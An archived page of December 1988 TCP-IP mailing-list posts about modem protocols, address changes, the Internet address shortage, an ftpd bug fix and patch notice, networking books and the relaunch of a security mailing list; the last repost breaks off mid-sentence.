The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: TCP-IP Distribution List - Archives (1988)
DOCUMENT: TCP-IP Distribution List for December 1988 (247 messages, 127037 bytes)
SOURCE: http://securitydigest.org/exec/display?f=tcp-ip/archive/1988/12.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.

START OF DOCUMENT

-----------[000000][next][prev][last][first]----------------------------------------------------
Date:      1 Dec 88 00:56:14 GMT
From:      ddp+@ANDREW.CMU.EDU (Drew Daniel Perkins)
To:        comp.protocols.tcp-ip
Subject:   v.25 bis

I was reading looking at the CCITT Red Book "Recommendations of the V Series"
(Volume VIII - Fascicle VIII.1) today and noticed an interesting protocol
"Recommendation V.25 bis, Automatic Calling and/or Answering Equipment on the
GSTN Using the 100-Series Interchange Circuits".  This recommendation basically
specifies an equivalent of the Hayes "AT" command set for modems.  The thing I
found most interesting was that it specified it for synchronous links (both bit
and character oriented) in addition to async links.  Does anyone know of
anything that supports this protocol?  Is there a good reason why it isn't
common?  I'm thinking that it might be very usefull for dialing sync modems,
dialing ISDN Terminal Adaptors, connecting sync port selectors, etc.

Drew

-----------[000001][next][prev][last][first]----------------------------------------------------
Date:      1 Dec 88 02:57:15 GMT
From:      mooers@SH.CS.NET
To:        comp.protocols.tcp-ip
Subject:   RELAY.CS.NET and SH.CS.NET no longer have Net 10 Internet numbers.

For RELAY.CS.NET, please switch from 10.4.0.5 to 192.31.103.4.

For SH.CS.NET, please switch from 10.7.0.82 to 128.89.0.92.  
Starting Thursday, December 1, 1988, SH.CS.NET will also have
the address 192.31.103.3, and this will become the preferred
address, even though 129.89.0.92 will remain valid.

The changes in Internet numbers are required by the CSNET CIC's
continuing program of upgrading our equipment.  The changes are
reflected in our domain server, and should be invisible to you if
your site gets its information from a domain server. 

The NIC has installed the new numbers in the NIC host table (in
the hosts.txt.799 file from sri-nic.arpa).  If your site depends 
upon the NIC host table, you should acquire a new copy immediately.

We will distribute another message when all the functionality now
handled by RELAY.CS.NET has been moved to the new machines and we
finally decommission the old RELAY.CS.NET machine.

---Charlotte Mooers
   CSNET Staff

-----------[000002][next][prev][last][first]----------------------------------------------------
Date:      1 Dec 88 05:07:06 GMT
From:      yee@ames.arc.nasa.gov (Peter E. Yee)
To:        comp.protocols.tcp-ip
Subject:   Re: SOB exploiting FTP hole; gateways severed

For those of you who haven't managed to get your ftpd fixed (hurry up!), 
there is now a complete copy of the ftpd sources on uunet.uu.net, in
~ftp.  Use anonymous ftp to retrieve.  Included are the sources for
getusershell and a sample /etc/shells for those who don't have the 
latest libc.  The README file has phone numbers to call if you are
having troubles getting the new ftpd to work.  We strongly suggest that
if you haven't patched your ftpd, consider getting this fully patched
version and installing it.

						-Peter Yee
						yee@ames.arc.nasa.gov
						ames!yee

-----------[000003][next][prev][last][first]----------------------------------------------------
Date:      1 Dec 88 14:39:22 GMT
From:      pete@NCSC.ARPA (Fernandez)
To:        comp.protocols.tcp-ip
Subject:   PRIME TCP/IP


 Fellow SIG members,
 
    Can anyone point me to a board-level network interface for a PRIME 9955
    which will work on an IEEE 802.3 10BASE5 LAN using TCP/IP.  Any help
    would be greatly appreciated.

    Pete Fernandez
    LAN Project Manager
    Naval Coastal Systems Center/Code 4430
    Panama City, FL 32407-5000
    (904) 234-4120

     pete@ncsc.arpa

-----------[000004][next][prev][last][first]----------------------------------------------------
Date:      1 Dec 88 15:37:28 GMT
From:      gutman@MANTA.NOSC.MIL (Lewis M. Gutman)
To:        comp.protocols.tcp-ip
Subject:   Re:  low speed tcp

I'd appreciate it if you would forward any replies you get about low
data rate transport protocols.  To the best of my knowledge, XTP was
developed mainly for short control messages over *very high* bandwidth
channels, so it may not be especially appropriate for low data rate
RF links, etc.

Lew Gutman
Naval Ocean Systems Center

-----------[000005][next][prev][last][first]----------------------------------------------------
Date:      1 Dec 88 16:32:51 GMT
From:      amanda@lts.UUCP (Amanda Walker)
To:        comp.protocols.tcp-ip
Subject:   Re: ToasterNet (was Re: Running out of Internet addresses?)

In article <1010@asylum.sf.ca.us>, romkey@asylum.sf.ca.us (John Romkey) writes:
> I want to see a protocol address space large enough to handle a node
> in each household appliance, each piece of electronic equipment, and
> several extras per household, office and vehicle. Traffic lights on
> the Internet. Stray toasters. And enough addresses left over to
> scatter hosts across the inner solar system.

This reminds me of a remark Gurshuran Sidhu made at an Apple networking
conference a couple years ago.  He described Ethernet addresses as having
been "designed to be intergalactically unique."

The biggest problem, I think, is that 32 bits (or 48, or whatever) is
certainly big enough to serve as a *physical* addressing scheme, but
we keep chopping up addresses so that we can have a *logical* addressing
scheme.  I mean, we have a Class C address, and we've got a whopping
four hosts.  That's 1.5% utilization.  Of course, it's nice to be able
to add hosts as we get them, and subnetting makes contiguous blocks A
Good Thing, but it still means that the address space is sparsely
populated if you think of it as a physical address space.

One advantage that I see IP having over OSI (from what I understand
about OSI addressing, anyway), is that the encoding scheme is very
simple, thus giving some of the advantages of both physical and
logical addressing.

I remember the NCP/TCP switchover.  It will be a lot harder the next time...

-- 
Amanda Walker			...!uunet!lts!amanda / lts!amanda@uunet.uu.net
			  InterCon, 11732 Bowman Green Drive, Reston, VA 22090
--
"The best way to predict the future is to invent it." -- N. Negroponte

-----------[000006][next][prev][last][first]----------------------------------------------------
Date:      1 Dec 88 20:11:25 GMT
From:      loganj@byuvax.bitnet
To:        comp.sys.mac,comp.protocols.appletalk,comp.protocols.tcp-ip
Subject:   New improved NCSA Telnet with ftp client (Macintosh)

BYU has implemented a very primitive ftp client (initiator) in the
NCSA Telnet application for the Macintosh.  We've also found and fixed
at least one very significant bug that makes the application much more
stable - you might want to try it if you had problems with the original.
One nice feature is that you can use this application to do "MacBinary"
transfers between Macintosh systems.

This new version is available by anonymous ftp from the "zaphod" system
at NCSA (ip number 128.174.20.50).  It's in a BinHex 4.0 file called
"BYU Telnet.Hqx" in a directory called "NCSA_Telnet/contributions".
For those who can not ftp the file, you can try contacting me at the
email address below and I might be able to send you the file directly.

Note:  NCSA is not responsible for maintenance of this version, so
please don't bother them with problem reports.

We expect to put our source code improvements in the public domain,
after we finish working on a few problems and clean up somewhat.

This ftp client is implemented in the non-Mac "command and scroll" style
(of older and lower life forms).  We're making this version available
now for others who need the outgoing ftp capability and aren't fussy
about interface elegance.

Known problems:  Only one outgoing ftp session can be active at one time,
but it does work okay with simultaneous Telnet sessions and incoming ftp
activity - we're working on this.

We're open to suggestions and problem reports at the email addresses below.
This is not a commitment to provide maintenance support, and since we're
busy we might not be able to respond.

Many thanks to Tim, Gaige and the others at NCSA for their original
work and willingness to help.

Regards,
Jim Logan
bitnet:    loganj@byuvax.bitnet
internet:  loganj@yvax.byu.edu

-----------[000007][next][prev][last][first]----------------------------------------------------
Date:      1 Dec 88 21:07:57 GMT
From:      drears@ARDEC.ARPA ("Dennis G. Rears ", FSAC)
To:        comp.protocols.tcp-ip
Subject:   Re:  ARPANET/MILNET mailbridge conspiracy?


According to the New York Times the offical reason is technical
difficulties.  Unofficially someone or something broke into the Mitre
computers in Mass.

Dennis

Disclaimer:   I do not know if this is true.  A friend just told me
and I have not had time to read the NY Times.  Please no flames for
publishing a rumour.

-----------[000008][next][prev][last][first]----------------------------------------------------
Date:      1 Dec 88 21:19:30 GMT
From:      das@eplunix.UUCP (David Steffens)
To:        comp.protocols.tcp-ip
Subject:   Re: Running out of Internet addresses?

In article <8811291051.AA06074@ucbvax.Berkeley.EDU>,
KASTEN@MITVMA.MIT.EDU (Frank Kastenholz) says:
> A quick perusal of my copy of Internet Numbers indicates that there are a
> fair number of assigned addresses that are not connected to the Internet -
> perhaps these addresses could be reclaimed...

Ummm, the problem with this solution is that many vendors are encouraging
_all_ customers to apply for a net number even tho they aren't yet connected
to the Internet.  The idea is that it will simplify things in the event
that the organization _does_ wish to connect.  Maybe I'm going to be _very_
glad that I haven't gotten around to ordering ours yet :-)
-- 
{harvard,mit-eddie,think}!eplunix!das		David Allan Steffens
243 Charles St., Boston, MA 02114		Eaton-Peabody Laboratory
(617) 573-3748					Mass. Eye & Ear Infirmary

-----------[000009][next][prev][last][first]----------------------------------------------------
Date:      1 Dec 88 21:23:45 GMT
From:      john@polyof.UUCP ( John Buck )
To:        comp.protocols.tcp-ip,comp.bugs.4bsd
Subject:   recent posting ftpd (and older version) have a bug


Program: ftpd
Sources: etc/ftpd/{glob.c,popen.c}
Symptom: ftpd core dumps (essentially) sometimes, causing a remote error
	 of "Service unavailable; server has closed connection"
Problem: If glob() fails (no matches), it winds up freeing (via free()),
	 an automatic stack array (gargv)
Fix:	 Remove last free() call in blkfree() (IE the one that frees the
	 pointer to the list)
	 Then, you have to fix the call to blkfree() in popen.c to do an
	 extra free(argv[argc]) after the blkfree(argv[argc])

History: The comment in glob.c says it all... The code for glob was lifted
	 from csh, and seeming appropriate changes were made.  Problem
	 was a call to xfree() was changed to plain old free().  xfree() in
	 csh checked to see if the address that was being freed was
	 past the end of the data area.  If it was, the call was ignored.
	 free() does not do this extra, kludgy, checking.
Alternative fix: lift the code for xfree() from csh, and make necessary,
	kludgy, changes.

John Buck
john@polyof.poly.edu
john@polygraf.bitnet

-----------[000010][next][prev][last][first]----------------------------------------------------
Date:      1 Dec 88 22:40:50 GMT
From:      mrp@sirius.ua.oz (Mark Prior)
To:        comp.protocols.tcp-ip
Subject:   Re: Running out of Internet addresses?

From article <8811291051.AA06074@ucbvax.Berkeley.EDU>, by KASTEN@MITVMA.MIT.EDU (Frank Kastenholz):
> A quick perusal of my copy of Internet Numbers indicates that there are a
> fair number of assigned addresses that are not connected to the Internet -
> perhaps these addresses could be reclaimed - there is one class A, about 40
> class B and I have not counted how many class C addresses that are not
> connected.
>
Adelaide Uni has a Class B number, we are not connected to the
Internet, but you can't have our number back! :-) :-)

I would suggest that quite a number of the `unused' numbers are sites
that want to have a unique number so they can connect to other sites
without worrying about number clashes. Also they could be foreign (ie
non North American) sites, we fit into this category. One day `real
soon now' the satellite link between Australia and the USA will go in
and you will find out about all our networks. I will then be able to
give my address as mrp@sirius.ua.oz.au ([129.127.4.20]).

Mark.
-- 
Mark Prior                              Phone : +61 8 228 5680
University Computing Services           Telex : UNIVAD AA89141
University of Adelaide                  Fax   : +61 8 224 0464
GPO Box 498 Adelaide S.AUSTRALIA 5001   ACSnet: mrp@sirius.ua.oz

-----------[000011][next][prev][last][first]----------------------------------------------------
Date:      2 Dec 88 00:59:37 GMT
From:      tozz@hpindda.HP.COM (Bob Tausworthe)
To:        comp.protocols.tcp-ip
Subject:   Re: ISO Flow Control

>Does anyone know what the unabreviated version of the
>credit field indicator (YR-TU-NR) is?
----------
In a AK (acknowledgement) packet, YR-TU-NR is the sequene number of the 
next expected DT (data) TPDU.

In an EA (expidited ack) packet, YR-TU-NR is the id number of the ED 
(expidited data) TPDU being acked.

In a RJ (reject TPDU) packet, it is the sequence number indicating the next
expected TPDU from which retransmission should occur.

However, you probably knew that. What the abbreviation stands for is :

-- I don't know. I used to. I thought I had written it down in my copy of
the standard but no such luck. TU-NR i believe stands for TransportUnit -
NextREcieve but that's the easy part. YR escapes any logical detection

       Sorry and good luck

			      tozz@hpinddf.hp.com

-----------[000012][next][prev][last][first]----------------------------------------------------
Date:      2 Dec 88 13:49:11 GMT
From:      morley@hrdwre.Cambridge.NCR.COM (Debbie Morley)
To:        comp.protocols.tcp-ip
Subject:   tcp-ip, documentation


Can anyone recommend to me a good reference book that covers the tcp-ip 
protocol?  I am interested in using tcp-ip to connect the various platforms
in our CAE environment, i.e., VAXes, HP 9000s, Apollo (mentors), and NCR
Towers (Unix-based, 68020).  Any information to help me get started would be
appreciated!

-- 
*******************************************************************************
| Debbie Morley    Computer-Aided-Engineering    D.Morley@Cambridge.NCR.COM   |
| NCR Corp  Cambridge, OH  43725       VOICEplus 621-1328     (614) 439-0328  |
*******************************************************************************

-----------[000013][next][prev][last][first]----------------------------------------------------
Date:      2 Dec 88 14:47:48 GMT
From:      stev@VAX.FTP.COM
To:        comp.protocols.tcp-ip
Subject:   Re: Running out of Internet addresses?

*I would try very hard to avoid your proposed solution - we've
*been badly hurt by groups who've thought they'd never be linked
*to the Internet, have re-used some numbers, only to discover they
*need to be linked and have gone through much pain to deal with the
*problems. CERN is one such place and I gather there are others.

*Vint

we found a large number of people were using IP addresses based on
the ones they found in the documentation examples or what their other
machines came configured with by default. we ship our code with the
address 0.0.0.0, which the code realizes isnt useful, and complains
at you about it and exits.  *so*, we went through our docs and gave
all examples with addresses on *our* network in a non-existant
subnet. (hopefully, we will be the only people screwed by this if one
of them connects).  

how about either assigning a class C network for documentation and
default addresses, or someone who got one for this use letting us all
know what it is and that we can use it? if everyone would band
together and use it, we might be better off . . . . . . 


stev knowles
stev@ftp.com

-----------[000014][next][prev][last][first]----------------------------------------------------
Date:      2 Dec 88 16:36:32 GMT
From:      ping@eigg.tcom.stc.co.uk
To:        comp.protocols.tcp-ip
Subject:   Tech Report on Internet Worm wanted !

Can someone mail me a copy of Tech Report on Internet Worm ?

Thanks,

    /  -     /   /   ____		K.H.Ping
   / _	    /   /   /   / /               STC Telecommunications,
  /-       /---/   /___/   ___  ____       Oakleigh Road South,
 /  _	  /   /   /     / /  / /   /        New Southgate,
/    _ . /   / . /     / /  / /___/          London N11 1HB.
_________________________________/        ...{mcvax}!ukc!stc!eigg!ping
				/<ping@tcom.stc.co.uk> Tel: +44 1 368 1234 x2679

-----------[000015][next][prev][last][first]----------------------------------------------------
Date:      2 Dec 88 18:42:22 GMT
From:      jqj@HOGG.CC.UOREGON.EDU
To:        comp.protocols.tcp-ip
Subject:   Re: Running out of Internet addresses?

Before we put much effort into a version 5 of Internet IP we should ask
ourselves whether it is worth it.  From my perspective, GOSIP IP and
CLNS are coming along fast, and mostly solve the addressing problem.
Meanwhile, the major advantage (for me!) of TCP/IP is the large
installed base of systems and linked networks.  A major revision of IP
would almost certainly be incompatible with every existing
implementation, and hence could not be widely adopted in time to solve
our interim problems.

Some alternatives to a major revision of IP at this time:

1/ revisit running TCP over OSI IP.  OSI IP routers already exist, sort
of.  Could we live with OSI IP addresses?  If not, what are we gonna do
when we're not allowed to buy TCP/IP any more?

2/ make more effective use of the existing IP number-space.  The
current problem is not that we are running out of host addresses (we
only have some 60K to 100K hosts on the Internet).  The problem is that
in a couple of years we'll run out of some kinds of network number.  So
maybe we should consider assigning a single class A network to each of
the regional NSF networks.  They could subnet their networks, issue a
few hundred 10-bit subnets to each campus they are connected to, and
reclaim a couple of dozen class B and C networks each.  Push the
problem out of the domain of IP routing into that of subnet routing and
take advantage of the internal connectivity that the NSF regionals have
given us!

3/ seriously consider disjoint Internets with overlapping IP address
spaces, connected by application-specific bridges.  The routing
technology for mail is already deployed, and the technology for telnet
is pretty simple (just change the documentation; you wanna get to
foo.bar.PROPRIETARY?  Telnet to proprietary-gateway.nsf.net, get the
HOST: prompt, and telnet from there to foo.bar.proprietary).  Granted
you can't do much else, but 70% of our community doesn't care about NTP
or NFS -- they just want to send mail or open a remote terminal
session.

-----------[000016][next][prev][last][first]----------------------------------------------------
Date:      Fri, 2 Dec 88 19:13:40 GMT
From:      henry@utzoo.uucp (Henry Spencer)
To:        comp.protocols.tcp-ip
Subject:   Re: ToasterNet (was Re: Running out of Internet addresses?)

In article <729@lts.UUCP> amanda@lts.UUCP (Amanda Walker) writes:
>... He described Ethernet addresses as having
>been "designed to be intergalactically unique."
>
>The biggest problem, I think, is that 32 bits (or 48, or whatever) is
>certainly big enough to serve as a *physical* addressing scheme, but
>we keep chopping up addresses so that we can have a *logical* addressing
>scheme...

Another thing that Xerox arguably did right with Ethernet:  the 48-bit
addresses are *not* chopped up this way.  They are in fact divvied up
by manufacturer, but manufacturers are supposed to use their part of
the space completely before getting another one.  The Xerox notion is
that the 48-bit address provides a unique identifier for the destination,
and any information needed to efficiently locate said destination should
be supplied separately.  (As I recall, XNS adds a 16-bit network number
as a routing hint.)  The paper some years ago in SIGCOMM [grr, I just
realized I don't have an exact reference handy] on the design of Ethernet
addressing should be required reading for anyone thinking about this.
-- 
SunOSish, adj:  requiring      |     Henry Spencer at U of Toronto Zoology
32-bit bug numbers.            | uunet!attcan!utzoo!henry henry@zoo.toronto.edu

-----------[000017][next][prev][last][first]----------------------------------------------------
Date:      2 Dec 88 22:56:54 GMT
From:      peter@myst.uwo.ca (Peter Marshall)
To:        comp.protocols.tcp-ip
Subject:   Retix Bridges experiences?

We are being offered Retix bridges that are supposed to be able to
forward 6000 packets per second and monitor 12000 per second at the
low low price of about us$1850 each.  This is significantly less than
bridges like DEC's LANbridge.  Does anyone have any experience with
these units?  Are they reliable?  Do they get the traffic through?  Do
they support any reasonable monitoring and management capabilities?
What's your experience with these boxes?  Any information would be
much appreciated.
--
Peter Marshall, Data Comm. Manager
CCS, U. of Western Ontario, London, Canada N6A 5B7
(519)661-2151x6032 
peter.marshall@uwo.ca pm@uwovax (BITNET); peter@julian.uucp
--
--
Peter Marshall, Data Comm. Manager
CCS, U. of Western Ontario, London, Canada N6A 5B7
(519)661-2151x6032 
peter.marshall@uwo.ca pm@uwovax (BITNET); peter@julian.uucp

-----------[000018][next][prev][last][first]----------------------------------------------------
Date:      2 Dec 88 23:16:07 GMT
From:      system@asuvax.asu.edu (Marc Lesure)
To:        comp.protocols.tcp-ip
Subject:   Need good BSD networks book/info

I'm fairly new to networks, is there a book/article/info that describes in
reasonable terms how set up a network?  Mainly I'm interested in how 
inetd, named, routed, etc. relate to one another and how to configure them
to create subnets.  The documentation I have isn't real clear on these
points.  Thanks-

-----------------------------------------------------------------------
Marc Lesure / Arizona State University / Tempe, AZ
"Between the world of men and make-believe, I can be found..."
"False faces and meaningless chases, I travel alone..."
"And where do you go when you come to the end of your dream?"

UUCP:                ...!ncar!noao!asuvax!lesure  
Internet/CSNET/ARPA: lesure@asuvax.asu.edu

-----------[000019][next][prev][last][first]----------------------------------------------------
Date:      3 Dec 88 01:00:45 GMT
From:      morgan@Jessica.stanford.edu (RL "Bob" Morgan)
To:        comp.protocols.tcp-ip
Subject:   Re: ToasterNet (was Re: Running out of Internet addresses?)


John Romkey writes:

> I want to see a protocol address space large enough to handle a node
> in each household appliance, each piece of electronic equipment, and
> several extras per household, office and vehicle. Traffic lights on
> the Internet. Stray toasters. And enough addresses left over to
> scatter hosts across the inner solar system.

In the newspaper the other day there was an article about Echelon,
Inc., which apparently is intending to fire up the ToasterNet business
in a big way.  As I recall, they proposed 48-bit addresses.  I
personally would feel happier with 128, or maybe even 256.  It's a big
galaxy. 

 - RL "Bob"

-----------[000020][next][prev][last][first]----------------------------------------------------
Date:      3 Dec 88 02:03:51 GMT
From:      kent@WSL.DEC.COM
To:        comp.protocols.tcp-ip
Subject:   Re: Needed: timeouts for connections to dead/dying hosts

Maybe you'd like your terminal server connections to time out after 10
or 20 seconds, but I don't. I want my Telnet connection to ride out
simple gateway crashes; a gateway that crashes and "immediately"
reboots shouldn't cause me to lose all my session state.

-----------[000021][next][prev][last][first]----------------------------------------------------
Date:      3 Dec 88 11:49:53 GMT
From:      hobbit@rutgers.rutgers.edu (*Hobbit*)
To:        comp.protocols.tcp-ip,comp.unix.wizards,news.sysadmin,news.groups
Subject:   The Security List is back

Yes, you heard it correctly; the Security list is being reactivated after
a long vacation in limbo.  The vax it was being distributed from got sold
off as a doorstop and replaced with this Sun 4/280 [an even better personal
workstation!].  Via a combination of my not knowing *anything* about the
un*x mailers at the time, and piles of Real Work to do [such as learn all
the *other* things about the unix box!] the Security list fell into a state
of dusty shelvedness.  Now that I've gotten to where I can beat Sendmail over
the head enough to make it work the way I wanted and re-wrote various emacs
macros for sending mail, the list can now come back to life.  The additional
prod of the RTM virus uproar helped a lot...

There are a number of points that need to be made.  This is important; the
underlying functions of this shiny new refurbishment may be different from
what you remembered in the past.  This also reflects what I've learned from
running the list in the past, and I've given it quite a bit of thought.

First: This is *not* the "unix security mailing list".  That is a separate
entity run by Andrew Burt [aburt@isis.uucp].  It deals exclusively with unix
security problems, and membership is restricted in a number of ways.  That
list's mail can also contain explicit security reports/fixes that one would
not want "just anybody" to see, thus the restrictions.  *This* list is much
more open and deals with a much more general group of security-related
fields.  Anyone can receive it; submissions are moderated in an attempt to
prevent "sensitive" information from being re-sent by mistake.

There is at least one other "restricted" security list floating around out
there somewhere as well, but I have no clue as to its identity.  Its
moderator[s] have never gotten in touch with me.  I do not refer here to
the more recent virus-related one, either...

I'm not sure how to react to the "call for votes" deal in the tcp-ip and
the news.* groups.  This list has been and will continue to be very general,
since *I'm* interested in lots of security topics, not just those concerning
computers, and a lot of the readership is similarly minded.  If people want
to form a "computers-only" newsgroup, moderated or not, this isn't under
my control, but keep in mind that such topics are certainly fair game here.
Do we need area-specific groups?  I can't answer that myself.  I do, however,
offer a high S/N ratio of what you actually read, since flamers and name-
callers will be summarily sat on.  Keep in mind that signal/noise ratio is
ultimately up to the *contributors*; if I'm forced to moderate garbage, it's
still garbage.  Replies about this to the list, please, not the newsgroups.
Ones worth forwarding will show up in misc.security.

My own list contains over 300 addresses at this time, many of which are
local redistributions at other sites.  A *lot* of people are on the list.
Most of the grunge work in running a large list is dealing with mailer errors
from faraway places.  Please help minimize the lossage I get back by keeping
your host tables/nameservers up to date and making sure your .forward files
and such work correctly.  I am going to be very intolerant of other peoples'
mailers acting up -- this isn't to be nasty, it's a survival effort to keep
from being snowed in under a continual barrage of error messages.  The most
consideration a site will get is a query to its postmaster containing the
error, and if no action is taken I will be forced to remove it from the list.
If I get time I will periodically go through the "broken" entries and see
if they're alive again, but doing this is a very low priority.  So it behooves
the reader to keep its mailer in good shape and its host up and connected.

Misc.security is the corresponding moderated newsgroup.  In theory postings
to the group will be forwarded to me, and things I forward back to the group
actually get posted.  This is *NOT* the preferred posting method, however.
I would much prefer that submissions be directly mailed to me; this way they
get here more reliably and I don't have to deal with the "Submission for
misc.security" sort of message that always seems somehow malformed.  Any site
administrator who wishes to completely disable "posting" to the group may
do so; it may help ease his news worries, and will force people to use the
preferred method.  It is hoped that this method will also keep people from
sending in huge right-widgeted [>] inclusions, which absolutely turn my
stomach and are really not very necessary to restore context.  Messages
containing more than a screenful of ">"-lines will probably be deleted
unread, so if you want your message to get out, please trim your inclusions
severely before sending it off.

Messages of a commercial nature will not be forwarded.  There is a broad
fuzzy line here going between "I used product X and I like it, and by the
way here's their address" to "I wrote this really neat package and I'm
selling it for $49.95, send your money to...".  Please use your discretion,
and I will use mine.  If it's apparent that you're trying to advertise,
it won't make it to the list.

I apologize for seeming so harsh in the above, but again, there are a lot of
people on the list, and a lot of mailers out there, and I have to hold down
a Real Job along with running this thing.  I hope to provide a service for
everyone with minimal special effort on my end.

The following is the "welcome message" I send out to new recipients when they
ask to be added.  You old-timers may note that some of the information has
changed, in particular the hostname.  It contains the answers to the most
commonly-asked questions.  As of this writing, there are two lies in it:
Anonymous FTP doesn't work pending the security fix [cough...], and the
digestifier needs a little work.  These will be fixed RSN.
______________________________________________________________________________

This is a generic reply to your recent addition request.  Unless you are a
Bitnet recipient, I have added you to the list.  Bitnet recipients can add
themselves by sending a message to LISTSERV@UGA containing

	SUB SECURITY <User's name>.

Please note that SECURITY has recently moved from aim.rutgers.edu to
pyrite.rutgers.edu, if you happened to hear about it via outdated material.
If you are on a unix site that receives the misc.security newsgroup, please
read the material from there and save network bandwidth, unless you have some
special requirement.  This list is gatewayed to the newsgroup.

In any case, welcome to the list!  We are here to discuss any and all security
topics, ranging from physically securing your machine room, your car, or
whatever, to how to prevent crackers from running rampant all over your
system, to encryption techniques.  In short, if it smells of security, it's
fair game for this list.

Messages are moderated [by me] before redistribution.  I support both
recognized types of distribution; the normal one is direct-remail in which as
I read and forward messages they are sent across the network singly; and
digest format, in which messages are collected into a larger file an re-sent
periodically in this "digestified" format.  As a new recipient you have been
added to the direct-remail list.  If you prefer the digest format, please
indicate this to security-request.

Archives currently live at pyrite.rutgers.edu, in /security/security.n where n
is a digit.  The highest digit is the latest file.  For historical reasons and
to provide the most generic possible file format, all such files are in VMS
sequential-mail format, with messages separated by formfeeds.  These are easy
to convert to mbox format, and thence to others.  There are some other
articles of interest there if you care to browse.  We do standard anonymous
FTP.  Bitnet recipients may send the following commands to LISTSERV at UGA or
FINHUTC, whichever host is closest to you:

	GET SECURITY FILELIST		;; for archive index
	GET SECURITY LOGyymm		;; yy = year; mm = month

Requests above and beyond this should be forwarded to security-request.

In short: Please send submissions to security@pyrite.rutgers.edu, even if
you're reading from misc.security; and all adminstrative requests and questions
to security-request@pyrite.rutgers.edu.

Cheers!  I am, your humble moderator,

	*Hobbit*
	One of several jacks-of-all-trades for LCS at Rutgers
	Security-request@pyrite.rutgers.edu

_H*

-----------[000022][next][prev][last][first]----------------------------------------------------
Date:      3 Dec 88 22:25:50 GMT
From:      mione@topaz.rutgers.edu (MIONE)
To:        comp.protocols.tcp-ip
Subject:   Re: tcp-ip, documentation

In article <206@hrdwre.Cambridge.NCR.COM>, morley@hrdwre.Cambridge.NCR.COM (Debbie Morley) writes:
> 
> Can anyone recommend to me a good reference book that covers the tcp-ip 
> protocol?  I am interested in using tcp-ip to connect the various platforms
> in our CAE environment, i.e., VAXes, HP 9000s, Apollo (mentors), and NCR
> Towers (Unix-based, 68020).  Any information to help me get started would be
> appreciated!

Title: Internetworking with TCP/IP: Principles, Protocols and Architecture
Author: Douglas Comer
Pulisher: Prentice, Hall,  Engelwood Cliffs, NJ. 1988

I am about halfway through this book.  It doesn't go into details of
implementing lans, ethernets, etc.  It does go into the TCP/IP
protocol suite in reasonable detail.  There are many diagrams and it
is clearly written.  I recommend it highly.

There is also a book out on configuring ethernets.  I don't recall the
publisher but the author is Bill Hancock.  I have not read the book so
I can not vouch for its quality but Bill Hancock lectures regularly at
U.S. Decus symposia and he is both informative and entertaining.

> *******************************************************************************
> | Debbie Morley    Computer-Aided-Engineering    D.Morley@Cambridge.NCR.COM   |
> | NCR Corp  Cambridge, OH  43725       VOICEplus 621-1328     (614) 439-0328  |
> *******************************************************************************

Tony:: (VMS Systems, CCIS, Rutgers University)

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Bitnet:  MIONE@ZODIAC.BITNET
Arpa:    MIONE@ZODIAC.RUTGERS.EDU, mione@topaz.rutgers.edu
______________________________________________________________________
@begin(disclaimer)
Rutgers should not be held responsible for anything I say.  I
formulate my opinions on my own time.
@end(disclaimer)
______________________________________________________________________
BASIC RULE WHEN IN FLIGHT: Maintain thy airspeed, lest the Earth
                           arise and smite thee.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

-----------[000023][next][prev][last][first]----------------------------------------------------
Date:      3 Dec 88 22:47:57 GMT
From:      mione@topaz.rutgers.edu (MIONE)
To:        comp.protocols.tcp-ip
Subject:   Re: tcp-ip, documentation

In article <206@hrdwre.Cambridge.NCR.COM>, morley@hrdwre.Cambridge.NCR.COM (Debbie Morley) writes:
> 
> Can anyone recommend to me a good reference book that covers the tcp-ip 
> protocol?  I am interested in using tcp-ip to connect the various platforms
> in our CAE environment, i.e., VAXes, HP 9000s, Apollo (mentors), and NCR
> Towers (Unix-based, 68020).  Any information to help me get started would be
> appreciated!

Title: Internetworking with TCP/IP: Principles, Protocols, and Architecture
Author: Douglas Comer
Publisher: Prentice-Hall, Engelwood Cliffs, NJ. 1988

I am about halfway through this book.  It does not cover particulars
of LANS or ethernet.  It does cover the tcp/ip protocol suite and some
surrounding network issues relatively well.  The book contains many
diagrams and is clearly written.  I recommend it highly.

There is another book which covers ethernet configuration.  I do not
recall the title or publisher but the author is Bill Hancock.  I have
not read the book so I cannot vouch for its qualitiy but Bill Hancock
lectures regularly at U.S. DECUS Symposia.  He is both informative and
entertaining.

> | Debbie Morley    Computer-Aided-Engineering    D.Morley@Cambridge.NCR.COM |
>...

Tony:: (VMS Systems, CCIS, Rutgers University)

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Bitnet:  MIONE@ZODIAC.BITNET
Arpa:    MIONE@ZODIAC.RUTGERS.EDU, mione@topaz.rutgers.edu
______________________________________________________________________
@begin(disclaimer)
Rutgers should not be held responsible for anything I say.  I
formulate my opinions on my own time.
@end(disclaimer)
______________________________________________________________________
BASIC RULE WHEN IN FLIGHT: Maintain thy airspeed, lest the Earth
                           arise and smite thee.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

-----------[000024][next][prev][last][first]----------------------------------------------------
Date:      3 Dec 88 22:59:08 GMT
From:      mione@topaz.rutgers.edu (MIONE)
To:        comp.protocols.tcp-ip
Subject:   Re: tcp-ip, documentation


In article <206@hrdwre.Cambridge.NCR.COM>, morley@hrdwre.Cambridge.NCR.COM (Debbie Morley) writes:
> 
> Can anyone recommend to me a good reference book that covers the tcp-ip 
> protocol?  I am interested in using tcp-ip to connect the various platforms
> in our CAE environment, i.e., VAXes, HP 9000s, Apollo (mentors), and NCR
> Towers (Unix-based, 68020).  Any information to help me get started would be
> appreciated!

Title: Internetworking with TCP/IP: Principles, Protocols, and Architecture
Author: Douglas Comer
Publisher: Prentice-Hall, Engelwood Cliffs, NJ. 1988

I am about halfway through this book.  It does not cover particulars
of LANS or ethernet.  It does cover the tcp/ip protocol suite and some
surrounding network issues relatively well.  The book contains many
diagrams and is clearly written.  I recommend it highly.

There is another book which covers ethernet configuration.  I do not
recall the title or publisher but the author is Bill Hancock.  I have
not read the book so I cannot vouch for its qualitiy but Bill Hancock
